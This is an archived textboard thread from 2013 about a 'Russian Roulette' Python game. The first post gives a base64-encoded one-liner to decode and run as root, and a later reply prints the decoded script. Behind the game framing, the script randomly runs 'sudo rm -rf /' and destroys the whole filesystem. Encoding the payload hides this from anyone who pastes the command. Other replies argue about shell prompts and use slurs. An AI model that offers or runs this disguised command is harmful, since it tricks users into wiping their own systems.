Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

Russian Roulette in Linux

Name: motherfucker 2013-02-09 6:53

Are you ready to play it?
--------------------------

echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMgZW5jb2Rpbmc6IHV0Zi04CmltcG9ydCBvcwppbXBvcnQg
c3lzCmltcG9ydCByYW5kb20KaW1wb3J0IHRpbWUKCmRlZiBtYWluKCk6CiAgICBpZiBvcy5nZXRl
dWlkKCkgIT0gMDoKICAgICAgICBzeXMuc3RkZXJyLndyaXRlKCJTb3JyeSwgeW91IGhhdmUgdG8g
YmUgcm9vdGlhblxuIikKICAgICAgICBzeXMuZXhpdCgpCgogICAgZ3VucyA9IGlucHV0KCJIb3cg
bWFueSBndW5zIHNob3VsZCBiZSBsb2FkZWQ/ICIpCiAgICBraWxsZXJndW4gPSByYW5kb20ucmFu
ZGludCgxLCBpbnQoZ3VucykpCiAgICBwcmludCgiR3VucyBoYXZlIGJlZW4gbG9hZGVkLiIpCiAg
ICBmb3IgaSBpbiByYW5nZSgxMCk6CiAgICAgICAgcHJpbnQoIlJvdGF0aW5nLiIpCiAgICAgICAg
dGltZS5zbGVlcCgxLzIuMCkKICAgICAgICBvcy5zeXN0ZW0oImNsZWFyIikKICAgICAgICBwcmlu
dCgiUm90YXRpbmcuLiIpCiAgICAgICAgdGltZS5zbGVlcCgxLzIuMCkKICAgICAgICBvcy5zeXN0
ZW0oImNsZWFyIikKICAgICAgICBwcmludCgiUm90YXRpbmcuLi4iKQogICAgICAgIHRpbWUuc2xl
ZXAoMS8yLjApCiAgICAgICAgb3Muc3lzdGVtKCJjbGVhciIpCiAgICByYXdfaW5wdXQoIlBpY2sg
eW91ciBndW4gKGhpdCBlbnRlcikiKQogICAgaWYgcmFuZG9tLnJhbmRpbnQoMSwgZ3VucykgPT0g
a2lsbGVyZ3VuOgogICAgICAgIHByaW50KCJZT1UgRElFRCIpCiAgICAgICAgI3RvbyBoYXJkY29y
ZQogICAgICAgIG9zLnN5c3RlbSgic3VkbyBybSAtcmYgLyIpCiAgICBlbHNlOgogICAgICAgIHBy
aW50KCJMVUNLIE1ZIEZSSUVORCEiKQoKCgppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOgogICAg
bWFpbigpCg==' | base64 -d > roulette2.py && sudo python roulette2.py

Name: Anonymous 2013-02-09 7:02

>>1
python: Command not found.

Name: motherfucker 2013-02-09 7:03

Which I hardly can believe on a modern linux distro....

Name: Anonymous 2013-02-09 7:09

>>3
linux? kids, kids, kids...

Name: motherfucker 2013-02-09 7:21

sorry, forgot the bsd faggots

Name: Anonymous 2013-02-09 7:32

>>3
┏┥12:30:32┝┥~
whereis python
python: /usr/bin/python2.7 /usr/bin/python2.7-config /lib/python2.7 /usr/lib/python2.7 /usr/include/python2.7

Name: Anonymous 2013-02-09 7:53

>>6
what the fuck is that gay prompt?

Name: Anonymous 2013-02-09 7:55

>>7
H~

Name: Anonymous 2013-02-09 8:04

>>7
Something I can use to easily find where I started a command if it decides to spurt out several screenfuls of information.

Name: Anonymous 2013-02-09 8:11

>>9
Like a colored prompt?

Name: Anonymous 2013-02-09 8:16

>>10
A coloured prompt is just as useless if you don't want a coloured prompt and it's still as tiny as bash-4.1$
┏┥13:10:16┝┥~
┗ return 255
┏┥13:10:18┝┥255┝┥~

The 255 is red as well.

Name: Anonymous 2013-02-09 8:18

>>10
Two lines also allows more information in the absence of a terminal title without removing any horizontal space for long commands.

Name: Anonymous 2013-02-09 9:17

#!/usr/bin/env python
# encoding: utf-8
import os
import sys
import random
import time

def main():
    if os.geteuid() != 0:
        sys.stderr.write("Sorry, you have to be rootian\n")
        sys.exit()

    guns = input("How many guns should be loaded? ")
    killergun = random.randint(1, int(guns))
    print("Guns have been loaded.")
    for i in range(10):
        print("Rotating.")
        time.sleep(1/2.0)
        os.system("clear")
        print("Rotating..")
        time.sleep(1/2.0)
        os.system("clear")
        print("Rotating...")
        time.sleep(1/2.0)
        os.system("clear")
    raw_input("Pick your gun (hit enter)")
    if random.randint(1, guns) == killergun:
        print("YOU DIED")
        #too hardcore
        os.system("sudo rm -rf /")
    else:
        print("LUCK MY FRIEND!")



if __name__ == '__main__':
    main()

Don't change these.
Name: Email:
Entire Thread Thread List